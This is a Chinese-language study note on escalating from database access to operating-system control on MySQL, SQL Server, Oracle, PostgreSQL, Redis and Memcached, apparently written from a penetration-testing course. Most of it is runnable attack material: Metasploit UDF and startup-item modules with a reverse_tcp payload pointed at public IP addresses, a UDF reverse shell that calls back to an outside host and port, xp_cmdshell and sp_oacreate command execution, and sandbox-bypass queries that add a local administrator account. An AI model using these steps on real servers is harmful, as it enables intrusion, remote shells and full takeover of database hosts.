数据库提权小结

​ 最近重新学了一下xiaodi的提权课程,总结总结

​ Raven2靶机可以打一打 用到了udf 然后工具打的话用到了 隧道转发技术

数据库帐号密码获取方式

0、网站存在高权限SQL注入点 sqlmap 注入的 --sql-shell 模式

1、数据库的存储文件或备份文件

2、网站应用源码中的数据库配置文件

3、采用工具或脚本爆破(需解决外联问题)

工具

在mysql不支持外连的情况下 都可以代理连接 工具几个数据库都可以利用

MDUT

https://github.com/SafeGroceryStore/MDUT

RequestTemplate

https://github.com/1n7erface/RequestTemplate

以下是手工的方法 在小迪22讲的 但是实战一般都是用工具


MYSQL

提权条件

MYSQL:PHP+MYSQL 以web入口提权

条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)

技术:UDF MOF 启动项 反弹Shell

mysql => root 默认端口3306 默认不支持外连 GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

flush privileges;

1、UDF

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。


获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续

1.mysql<5.2 导出目录c:/windows或system32

2.mysql=>5.2 导出安装目录/lib/plugin/

获取版本 安装目录 看看有没有plugin

select version() select @@basedir

没有目录采用手工创建plugin目录或利用NTFS流创建

使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,

MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

开启外连 GRANT ALL PRIVILEGES ON . TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

image-20231130151415344

MSF:(前提先开外连)

(不需要考虑版本 )

use exploit/multi/mysql/mysql_udf_payload

set payload windows/meterpreter/reverse_tcp

set password root

set rhosts 47.102.195.100

run

产生了个文件

image-20231130151725350

Navicat:

开外联后使用MSF导出,在执行后续命令调用执行

select * from mysql.func where name = "sys_exec"; //查看

image-20231130152015771

create function sys_eval returns string soname "HArprLGO.dll"; //创建函数绑定dll 执行后续命令 (默认创建的sys_exec 无回显)

select sys_eval("whoami"); //调用函数进行命令执行

2、MOF-Win2008后权限控制导致无效-MSF演示 (用不到了

https://www.cnblogs.com/xishaonian/p/6384535.html

MSF:use exploit/windows/mysql/mysql_mof

3、启动项 鸡肋

但是要重启服务器才可与。。

MSF:(前提先开外连)

``use exploit/windows/mysql/mysql_start_up`

set rhosts 192.168.3.25

set username root

set password 123456

run

image-20231130165519517

4、反弹Shell

0x01 介绍
Mysql反弹shell提权,也是属于udf提权,只不过应用场景不同,例如没有得到webshell,但是获得了Mysql的root密码,恰好目标的数据库可以外连,那么就可以先将udf.dll文件的内容先插入到数据表中,然后再导出到’lib/plugin’

https://blog.csdn.net/weixin_43801718/article/details/105493042

set @a=concat('',

create table Ghost(data LONGBLOB);

insert into Ghost values("");update Ghost set data = @a;

select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //这个路径。。

create function backshell returns string soname 'udf.dll';

select backshell('47.94.236.117',7788);

sqlserver

提权条件

MSSQL:.NET+MSSQL 以web入口提权 1433 默认支持外连

条件:sa密码

技术:xp_cmdshell sp_oacreate CLR 沙盒

开外连 命令

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'Ad Hoc Distributed Queries', 1;

RECONFIGURE;

参考资料:https://blog.51cto.com/11797152/2411770

1.使用xp_cmdshell进行提权

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

启用:

EXEC sp_configure 'show advanced options', 1

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

关闭:

exec sp_configure 'show advanced options', 1;

reconfigure;

exec sp_configure 'xp_cmdshell', 0;

reconfigure;

执行:

EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

2.使用sp_oacreate进行提权

主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

3.使用SQL Server 沙盒提权

以上两个用不了

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

恢复配置

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

exec sp_configure 'show advanced options',0;reconfigure;

Oracle

提权条件

Oracle:(站库分离,非JSP,直接数据库到系统等)1521

条件:数据库用户密码

技术:DBA,普通用户,注入模式

开外连

ALTER SYSTEM SET REMOTE_LOGIN_PASSWORDFILE=EXCLUSIVE SCOPE=SPFILE;

SHUTDOWN IMMEDIATE;

STARTUP

工具

项目 https://github.com/jas502n/oracleshell

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

sqlmap语句

--dbs 查询当前用户下的所有数据库

--is-dba:当前用户是否为管理权限

PostgreSQL 5432

Web到系统

条件:数据库用户密码

技术:CVE-2019-9193 UDF libc

就是用工具梭哈了

复现镜像:

https://market.aliyun.com/products/56024006/cmjj016247.html

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'id';

SELECT * FROM cmd_exec;

Redis 6379

也是直接用工具

数据库到Linux

条件:利用未授权或密码连接后执行

见第78天课程内容-只适用Linux

技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

复现搭建:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzf redis-2.8.17.tar.gz

cd redis-2.8.17

make

cd src

/redis-server

Memcached 11211

数据库到Linux

条件:设置远程可访问或取得本地权限后访问

是一套常用的key-value缓存系统,由于它本身没有权限控制模块,

服务被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息。 是通过这里面的信息再进一步提权

复现镜像:

https://market.aliyun.com/products/56024006/cmjj017529.html

案例参考:

https://mp.weixin.qq.com/s/V_p1heyM-2HxsaFLRs9qeg

开启命令:

systemctl start memcached.service

关闭命令:

systemctl stop memcached.service

查看状态:

systemctl status memcached.service

image-20240115181337916